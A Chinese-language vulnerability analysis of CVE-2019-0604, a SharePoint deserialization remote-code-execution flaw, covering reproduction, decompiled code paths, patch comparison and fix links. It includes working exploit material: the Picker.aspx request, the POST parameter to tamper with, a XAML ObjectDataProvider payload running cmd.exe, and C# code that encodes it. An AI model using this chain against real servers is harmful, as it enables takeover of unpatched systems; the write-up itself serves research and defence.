漏洞编号
CVE-2019-0604
漏洞简介
SharePoint是微软的一款团队协作解决方案,用于团队间共享和管理内容和知识。它使用ASP.NET开发,后端数据库使用Microsoft SQL Server。
该漏洞可造成Windows系统服务器的远程命令执行,有可能完全控制服务器。
攻击者可将精心构造的请求通过ItemPicker
WebForm控件传入后端EntityInstanceIdEncoder.DecodeEntityInstanceId(encodedId)
方法中,因为方法没有对传入的encodedId
进行任何处理,也没有对XmlSerializer
构造函数的类型参数进行限制,可直接通过XmlSerializer
反序列化,造成命令执行。
漏洞影响
- Microsoft SharePoint Server 2019
- Microsoft SharePoint Enterprise Server 2016
- Microsoft SharePoint Foundation 2013 Service Pack 1
- Microsoft SharePoint Server 2010 Service Pack 2
利用条件
- 要利用该漏洞,需要授权访问 sharepoint提供的管理网页,授权账户可以是一个域账户。
环境搭建
- Windows server 2016
- ASP.NET相关组件
- Microsoft SQL Server
- SharePoint Server
安装SharePoint前可以先运行prerequisiteinstaller
安装SharePoint必备的组件,然后安装Microsoft SQL Server,配置好账户。如果在单机上搭建SharePoint需要在此时将服务器切换为域控服务器,然后再建立域账号安装和部署SharePoint。本地账号不符合SharePoint的部署要求。
漏洞复现
环境搭建完成后,访问SharePoint管理网站,可看到登录提示:
用事先创建好的SharePoint账号登录:
然后在地址栏输入下面URL:
http://<Your SharePoint Domin Or IP>:<Your SharePoint Port>/_layouts/15/Picker.aspx?PickerDialogType=<Your Microsoft.SharePoint.WebControls.ItemPickerDialog's assembly qualified name>
这里需要注意的是,URL中的 PickerDialogType
参数需要替换为Microsoft.SharePoint.WebControls.ItemPickerDialog
控件的程序集限定名。可以通过在相同的SharePoint环境中查看ItemPickerDialog
WebForm控件的元数据或通过C#代码:System.Console.WriteLine(typeof(Microsoft.SharePoint.WebControls.ItemPickerDialog).AssemblyQualifiedName.ToString())
输出。
我的元数据如下:
所以我的PickerDialogType
参数是Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c
。
如果PickerDialogType
参数不正确,会报错如下:
参数正确后可看到如下页面:
此页面是ASP.NET表单的WebForm页面,查看源代码可以找到Payload加载点:
<input name="ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData" type="hidden" id="ctl00_PlaceHolderDialogBodySection_ctl05_hiddenSpanData" value="&#160;">
input
的值(ASP.NET 中的HiddenField
控件)会随着WebForm的提交传入后端。但因为ASP.NET的验证机制,此页面加载后并没有内容,因此修改这个input
的value
触发__doPostBack()
是不会把修改后的数据传入后端的,用burpsuite抓包后发现传入后端的还是原始数据。这时需要想办法修改数据包将Payload传入后端。
又因为SharePoint通过NTLM验证,直接通过burpsuite改包再发送给服务器会验证失效,需要配置burpsuite的验证设置。
通过User options——Connections——Platform Authentication配置NTLM验证如下:
然后再拦包,修改POST参数ctl00%24PlaceHolderDialogBodySection%24ctl05%24hiddenSpanData
的值为Payload:
即可触发漏洞。此时会在目标服务器中以SharePoint启动所使用的账户执行Payload,因此通过远程桌面可能看不到运行结果,但可以在进程管理器中看到。执行效果如下:
漏洞分析
分析此漏洞需要使用反编译工具,我使用的是ILSpy。打开反编译工具加载SharePoint.dll搜索入口ItemPickerDialog
,通过分析它的构造函数,发现其调用了父类的构造函数,传参如下:
进入父类PickerDialog
中,看构造函数:
其中EntityEditorWithPicker
也是一个WebForm控件,说明在这里传入了一个EntityEditorWithPicker
的子类ItemPicker
,跟入ItemPicker
可看到ItemPicker
确实继承自EntityEditorWithPicker
,EntityEditorWithPicker
又继承自EntityEditor
:
EntityEditor
实现了接口:IPostBackDataHandler
和ICallbackEventHandler
,根据WebForm控件的生命周期,在页面中有事件触发__doPostBack()
后,先调用通过ICallbackEventHandler
实现的RaiseCallbackEvent()
方法和GetCallbackResult()
方法得到表单内容,再调用通过IPostBackDataHandler
实现的LoadPostData()
方法。
回到EntityEditor
中看GetCallbackResult()
方法中调用了InvokeCallbackEvent()
方法,InvokeCallbackEvent()
方法调用了ParseSpanData()
方法:
来到ParseSpanData()
中可以看出这里把表单提交的数据进行了处理。此处逻辑非常复杂,我们只跟对HiddenSpanData的处理:
可发现此方法将HiddenSpanData
的值放入了PickerEntity
的List中,在经过一些处理分割成数组,遍历数组,新建PickerEntity
对象pickerEntity2
,将其值放入pickerEntity2.Key
中,最终放入arrayList
中并赋值给类成员变量m_listOrderTemp
:
回到LoadPostData()
方法看对m_listOrderTemp
成员变量的处理,可看到在这里遍历了m_listOrderTemp
成员变量的值并将其加进m_listRevalidation
成员变量中,然后迭代进行Validate()
操作:
在Validate()
方法中,将m_listOrderTemp
成员变量赋值给m_listOrder
成员变量:
然后遍历Entities
的值调用ValidateEntity()
方法:
Entities
的值来自于上面的一行很不起眼的Lambda表达式方法,此方法将返回m_listOrder成员变量的值:
跟到ValidateEntity()
方法发现是虚方法,因此去子类找方法的重写。
来到EntityEditorWithPicker
类中看到了ValidateEntity()
方法的重写,发现其将PickerEntity
的key
(pe.Key)传入了Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId()
中。
进入DecodeEntityInstanceId()
方法发现反序列化,并且XmlSerializer
构造函数的类型参数可控。
.NET中XmlSerializer
反序列化漏洞触发原理不再赘述,可参考360云影实验室的文章:.NET高级代码审计(第一课)XmlSerializer反序列化漏洞。
PoC
在漏洞分析时,我们在EntityInstanceIdEncoder
类中看到另一个方法EncodeEntityInstanceId()
,可以直接使用它生成Payload。
构造XML:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
生成Payload:
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
object[] objs = new object[1];
objs[0] = Payload("<Path To Xml File>");
string payload = Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId(objs);
System.Console.WriteLine(payload);
System.Console.ReadKey();
}
public static object Payload(string filepath)
{
ExpandedWrapper<XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
eobj.ProjectedProperty0 = new ObjectDataProvider();
eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
eobj.ProjectedProperty0.MethodName = "Parse";
eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
return eobj;
}
}
}
生成Payload时会弹出一次计算器,关掉即可。
PoC:
Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId("<Your Payload String>");
补丁分析
安装补丁KB4462211后再次反编译,对比DecodeEntityInstanceId()
方法的源码,发现已经不再支持对象类型的反序列化。
修复建议
- Microsoft SharePoint Enterprise Server 2016 需要打补丁:Security Update for Microsoft SharePoint Enterprise Server 2016 (KB4462211) https://www.microsoft.com/en-us/download/details.aspx?id=58072
- Microsoft SharePoint Foundation 2013 Service Pack 1 需要打补丁:Security Update for Microsoft SharePoint Enterprise Server 2013 (KB4462202) https://www.microsoft.com/en-us/download/details.aspx?id=58063
- Microsoft SharePoint Server 2010 Service Pack 2 需要打补丁:Security Update for 2010 Microsoft Business Productivity Servers (KB4462184) https://www.microsoft.com/en-us/download/details.aspx?id=58066
- Microsoft SharePoint Server 2019 需要打补丁:Security Update for Microsoft SharePoint Server 2019 Core (KB4462199) https://www.microsoft.com/en-us/download/details.aspx?id=58061
参考
- https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
- https://www.anquanke.com/post/id/172316